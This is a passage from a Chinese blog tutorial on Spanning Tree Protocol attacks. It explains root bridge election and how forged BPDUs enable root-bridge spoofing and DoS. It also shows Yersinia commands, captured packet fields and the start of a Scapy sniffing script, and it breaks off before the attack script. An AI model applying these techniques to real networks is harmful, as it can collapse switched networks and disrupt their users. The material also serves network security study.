Python 协议攻击脚本(六): STP攻击

本文详细介绍了STP(生成树协议)的基本原理及在数据链路层防止环路的作用。接着,深入探讨了STP欺骗和DoS攻击的概念,通过发送伪造的BPDU数据包来操纵网络。此外,文章提供了数据包抓包的实践,使用Yersinia工具进行STP攻击分析,并展示了如何使用Python的Scapy库进行STP欺骗和DoS攻击的脚本编写,包括抓取根桥信息、构造并发送欺骗数据包的步骤。

STP

生成树协议(英语:Spanning Tree ProtocolSTP),是一种工作在OSI网络模型中的第二层(数据链路层)的通信协议,基本应用是防止交换机冗余链路产生的环路.用于确保以太网中无环路的逻辑拓扑结构.从而避免了广播风暴,大量占用交换机的资源.

STP的工作过程如下:

  • 首先进行根网桥的选举,不断发送BPDU,由桥ID最小的为根桥
  • 计算每个节点到根桥的距离,并由这些路径得到各冗余链路的代价,选择最小的成为通信路径(相应的端口状态变为forwarding),其它的就成为备份路径(相应的端口状态变为blocking)。

桥ID:

  1. 交换机设置的优先级(bridge priority)
  2. 交换机自身的mac,越小优先级越高

优先级优先,优先级相同则比较mac

stp欺骗

发送网桥ID很低的精心设计的BPDU,就可以欺骗交换机,使它以为这是根网桥,这会导致STP重新收敛(reconverge),从而引起回路,导致网络崩溃。

stp dos攻击

利用假冒的BPDU数据来消耗交换机的资源,从而达到破坏网络环境的目的.

数据包抓包

需要配置有生成树的网络环境

利用yersinia工具进行STP攻击,进行抓包分析

YERSINIA工具的使用(VLAN跳跃,STP攻击等)

STP欺骗

yersinia -G

mark

交换机发出来的数据包

mark

Scapy中Dot3对应的就是IEEE 802.3协议

Dot3

  • src: 00:03:0f:91:06:73 交换机mac
  • dst: 01-80-C2-00-00-00

链路层中01-80-C2-00-00-00多播地址

链路层发现协议 | wiki

LLC

  • dsap: 0x42
  • ssap: 0x42

STP

  • bridgeid:0
  • bridgemac:00:03:0f:91:06:73 交换机mac

攻击发出的包

mark

发现对mac进行伪造,mac小于了交换机mac,成功了根桥的欺骗

STP

  • bridgeid:0
  • bridgemac:00:03:0f:90:06:73 伪装的MAC

STP Dos

yersinia -G

mark

抓包

mark

随机生成一些字段

编写脚本

STP欺骗

1.抓取STP数据包,并获取当前根桥mac

sniff() :嗅探数据

sniff的帮助信息里面有这样一段

>>> help(sniff)
[...]
stop_filter: Python function applied to each packet to determine if
                     we have to stop the capture after this packet.
                     --Ex: stop_filter = lambda x: x.haslayer(TCP)
[...]

根据例子,可以得出这样的函数lambda x: x.haslayer(STP)

利用这个来抓取STP的数据包

>>> stp = STP()
>>> tcp = TCP()
>>> stp.haslayer(STP)
True
>>> tcp.haslayer(STP)
0
>>> sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>

提取根桥mac

>>> packet = sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
>>> packet
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> packet[-1]
<Dot3  dst=01:80:c2:00:00:00 src=00:03:0f:91:06:73 len=38 |<LLC  dsap=0x42 ssap=0x42 ctrl=3 |<STP  proto=0 version=0 bpdutype=0 bpduflags=0 rootid=0 rootmac=00:03:0f
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值